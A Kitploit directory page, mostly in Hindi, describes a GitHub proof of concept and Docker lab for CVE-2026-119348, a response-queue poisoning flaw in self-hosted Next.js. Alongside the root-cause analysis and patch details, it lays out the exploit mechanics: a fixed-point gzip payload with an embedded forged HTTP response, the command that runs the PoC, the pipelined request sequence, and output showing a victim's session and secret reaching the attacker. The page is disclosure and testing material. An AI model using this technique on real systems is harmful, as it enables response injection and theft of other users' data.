Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-119348 — CVE-2026-119348 के लिए Docker dual-lab और स्टैंडअलोन डिफरेंशियल PoC, जो स्व-होस्टेड Next.js में एक स्टेल कंप्रेस्ड-फ्रेमिंग रिस्पॉन्स-क्यू पॉइज़निंग दोष है। | Kitploit
उपकरण/GitHubGitHub/aheybati/cve-2026-119348
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षालैब और अभ्यास
GitHubaheybati/cve-2026-119348

CVE-2026-119348

CVE-2026-119348 के लिए Docker dual-lab और स्टैंडअलोन डिफरेंशियल PoC, जो स्व-होस्टेड Next.js में एक स्टेल कंप्रेस्ड-फ्रेमिंग रिस्पॉन्स-क्यू पॉइज़निंग दोष है।

रिपॉजिटरी देखें
22 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    906
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    725
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    442
  • 4

    wifit3

    derv82/wifit3

    Wifite, लेकिन केवल USB और क्रॉस-प्लेटफ़ॉर्म।

    434
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer एक ओपन-सोर्स विशेषाधिकार प्रबंधन (PAM) प्लेटफ़ॉर्म है जो DevOps और IT टीमों को SSH, RDP, Kubernetes, डेटाबेस और RemoteApp एंडपॉइंट्स तक वेब ब्राउज़र के माध्यम से मांग पर और सुरक्षित पहुँच प्रदान करता है।

    412
  • 6

    SafeLine

    chaitin/safeline

    स्व-होस्टेड WAF और रिवर्स प्रॉक्सी जो दुर्भावनापूर्ण HTTP ट्रैफ़िक को फ़िल्टर करता है, SQL इंजेक्शन, XSS और बॉट हमलों को ब्लॉक करता है, रेट लिमिटिंग और डायनेमिक HTML/JS एन्क्रिप्शन के साथ।

    360

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-119348 — स्व-होस्टेड Next.js में HTTP रिस्पॉन्स-क्यू पॉइज़निंग (स्टेल कम्प्रेस्ड फ्रेमिंग)

GHSA: GHSA-pc58-hwjq-p385 CVSS 4.0: 6.3 (मध्यम) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N उत्पाद: Vercel Next.js (next), स्व-होस्टेड (next start)

यह रिपॉज़िटरी नवंबर 2026 के Next.js सुरक्षा रिलीज़ में ठीक किए गए क्रॉस-क्लाइंट रिस्पॉन्स इंजेक्शन और डिस्क्लोज़र कमज़ोरी का एक पूर्ण, नियतात्मक पुनरुत्पादन (docker लैब + स्टैंडअलोन एक्सप्लॉइट) प्रदान करती है। जिस समय यह लैब बनाई गई थी, तब कोई सार्वजनिक PoC मौजूद नहीं था (2026-11-20 को जाँचा गया: CVE और GHSA आईडी के लिए GitHub रेपो/कोड खोज → 0 परिणाम)।

कमज़ोरी का सारांश

Node का fetch (undici) content-encoding: gzip बॉडी को पारदर्शी रूप से डीकम्प्रेस करता है, लेकिन मूल रिस्पॉन्स हेडर को सुरक्षित रखता है, जिसमें content-length: <compressed-size> भी शामिल है। जब कोई स्व-होस्टेड Next.js एप्लिकेशन ऐसे फ़ेच किए गए अपस्ट्रीम Response को अपरिवर्तित लौटाता है — किसी App Router रूट हैंडलर, किसी fetch-cache प्रविष्टि, या Node-runtime मिडलवेयर से — तो Next के कमज़ोर संस्करण लंबी, डीकम्प्रेस्ड बॉडी को स्ट्रीम करते हुए क्लाइंट को स्टेल कम्प्रेस्ड फ्रेमिंग अग्रेषित कर देते हैं:

HTTP/1.1 200 OK
content-encoding: gzip          ← forwarded
content-length: 70              ← framing of the COMPRESSED body (stale)
                                ← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
      └─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘

Node.js घोषित Content-Length से अधिक body बाइट्स बिना किसी त्रुटि के लिखता है और keep-alive कनेक्शन खुला रखता है। कोई भी HTTP/1.1 रिवर्स प्रॉक्सी जो साझा बैकएंड कनेक्शन पर pipelined अनुरोधों को कतारबद्ध करता है (यही पूर्व-शर्त advisory में बताई गई है — जैसे HAProxy http-reuse always, विभिन्न Node.js-आधारित प्रॉक्सी) बैकएंड प्रतिक्रियाओं को पूर्णतः घोषित फ्रेमिंग के अनुसार डीमल्टीप्लेक्स करता है। इसलिए अतिरिक्त बाइट्स को कतार में अगली प्रतिक्रिया के रूप में पार्स किया जाता है:

  • आक्रमणकारी के ठीक पीछे कतार में खड़ा क्लाइंट आक्रमणकारी द्वारा जाली गई प्रतिक्रिया प्राप्त करता है (response injection), और
  • पीड़ित की वास्तविक प्रतिक्रिया एक स्लॉट खिसक जाती है और आक्रमणकारी के अगले अनुरोध को दी जाती है (cross-client disclosure)।

प्रभावित संस्करण

शाखाअसुरक्षितपैच किया गया
16.x (Active LTS)>= 16.0.0, <= 16.4.416.4.5
15.x (Maintenance LTS)<= 15.5.2815.5.29

मूल कारण (file:line)

vercel/next.js में टैग v16.4.4 पर:

  • packages/next/src/server/send-response.ts:24-70 — sendResponse() हैंडलर के Response के प्रत्येक हेडर को जोड़ता है (केवल x-middleware-set-cookie छोड़ा जाता है) और फिर डिकोड किए गए body को पाइप करता है। अग्रेषित किए गए content-length / content-encoding / transfer-encoding उस एन्कोडेड body का वर्णन करते हैं जिसे undici पहले ही डिकोड कर चुका है।
  • packages/next/src/server/next-server.ts:2009-2012 — middleware प्रतिक्रिया लूप केवल content-encoding छोड़ता है, फिर भी पुराने content-length / transfer-encoding को कॉपी करता रहता है।
  • इसके विपरीत, Edge-runtime सैंडबॉक्स (packages/next/src/server/web/sandbox/sandbox.ts:23) पहले ही उन तीन हेडरों को हटा चुका था — यह छिद्र Node-runtime पथों में था।

फ़िक्स (v16.4.5, कमिट 2842833, 15.x: 848ec29): दोनों अग्रेषण पथ अब content-length, content-encoding और transfer-encoding (FORBIDDEN_HEADERS) को हटा देते हैं, इसलिए Node.js डिकोड किए गए body को transfer-encoding: chunked के साथ सही ढंग से फ्रेम करता है।

पूर्व-शर्तें (advisory के अनुसार सभी आवश्यक)

  1. स्व-होस्टेड Next.js (next start) — Vercel प्लेटफ़ॉर्म पर प्रभावित नहीं।
  2. ऐप आक्रमणकारी-प्रभावित फ़ेच किए गए Response को अपरिवर्तित लौटाता है (कोई भी अग्रेषण/रिले पैटर्न: return fetch(url)), सीधे या fetch कैश के माध्यम से।
  3. एक सामने वाली HTTP/1.1 रिवर्स प्रॉक्सी जो साझा बैकएंड कनेक्शन पर pipelined अनुरोधों को कतारबद्ध करती है और बैकएंड-घोषित फ्रेमिंग पर भरोसा करती है।
  4. आक्रमणकारी दुर्भावनापूर्ण अपस्ट्रीम प्रतिक्रिया को नियंत्रित करता है और साझा बैकएंड कनेक्शन पर ≥ 2 अनुरोध (अपने + पीड़ित के) रखवा सकता है।

कोई प्रमाणीकरण नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं।

लैब / पुनरुत्पादन

lab/
├── app/                 # the victim Next.js app (source shared by both stacks)
│   └── app/
│       ├── proxy/route.ts          # GET /proxy?u=<url>        → return fetch(u, {cache:'no-store'})
│       ├── proxy-cached/route.ts   # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│       ├── api/secret/route.ts     # victim's private JSON (user alice + VICTIM_SECRET…)
│       └── page.tsx                # home page (HOME-PAGE-MARKER)
├── upstream/server.py   # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py   # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile      # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml     # project cvelab_cve-2026-119348_vuln  → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml    # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/              # node-level experiments backing the analysis

दुर्भावनापूर्ण अपस्ट्रीम पेलोड (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected" जहाँ n इस प्रकार चुना गया है कि n == len(gzip(P)) (एक स्थिर बिंदु, यहाँ n = 70, डिकोड किया गया = 116 B)। इसलिए ऐप एक ऐसा प्रतिक्रिया उत्पन्न करता है जिसका घोषित Content-Length: 70 केवल A उपसर्ग को कवर करता है, और शेष 46 बाइट्स एक पूर्ण रूप से गढ़ी गई HTTP प्रतिक्रिया हैं।

इसे चलाएँ

# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh

# 2. run the exploit against both
python3 poc.py \
    --url         http://127.0.0.1:8080 \   # proxy → VULNERABLE app (16.4.4)
    --fixed-url   http://127.0.0.1:8081 \   # proxy → PATCHED app    (16.4.5)
    --upstream    http://127.0.0.1:9099 \   # attacker origin (host-mapped port of lab/upstream)
    --next-url    http://127.0.0.1:3000 \   # optional: direct app framing probe
    --next-fixed-url http://127.0.0.1:3001 \
    --out poc_result.json

# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.

# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy

poc.py स्टैंडअलोन है (Python 3, केवल मानक लाइब्रेरी)। प्रत्येक राउंड साझा बैकएंड कनेक्शन पर तीन अनुरोध कतारबद्ध करता है:

#1 attacker  GET /proxy?u=…/gzip?delay=0.4     ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim    GET /api/secret  (Cookie: session=victim-alice-7f3a9c)
#3 attacker  GET /                                       ← collects the displaced response

अपेक्षित आउटपुट

[vuln] mode=proxy         injection=True  disclosure=True  victim_got_own=False attacker_got_home=False
        victim response      : HTTP/1.1 200 OK | body: injected
        attacker follow-up   : HTTP/1.1 200 OK | body: { "user": "alice", "session": "session=victim-alice-7f3a9c",
                                                        "secret": "VICTIM_SECRET-sk-live-9f8e7d6c5b4a3210", …
[vuln] mode=proxy-cached  injection=True  disclosure=True …        ← same via the fetch cache
[fixed] mode=proxy         injection=False disclosure=False victim_got_own=True attacker_got_home=True
[fixed] mode=proxy-cached  injection=False disclosure=False …
RESULT: exploit_worked_on_vuln = True | exploit_failed_on_fixed = True
टूल डाउनलोड करें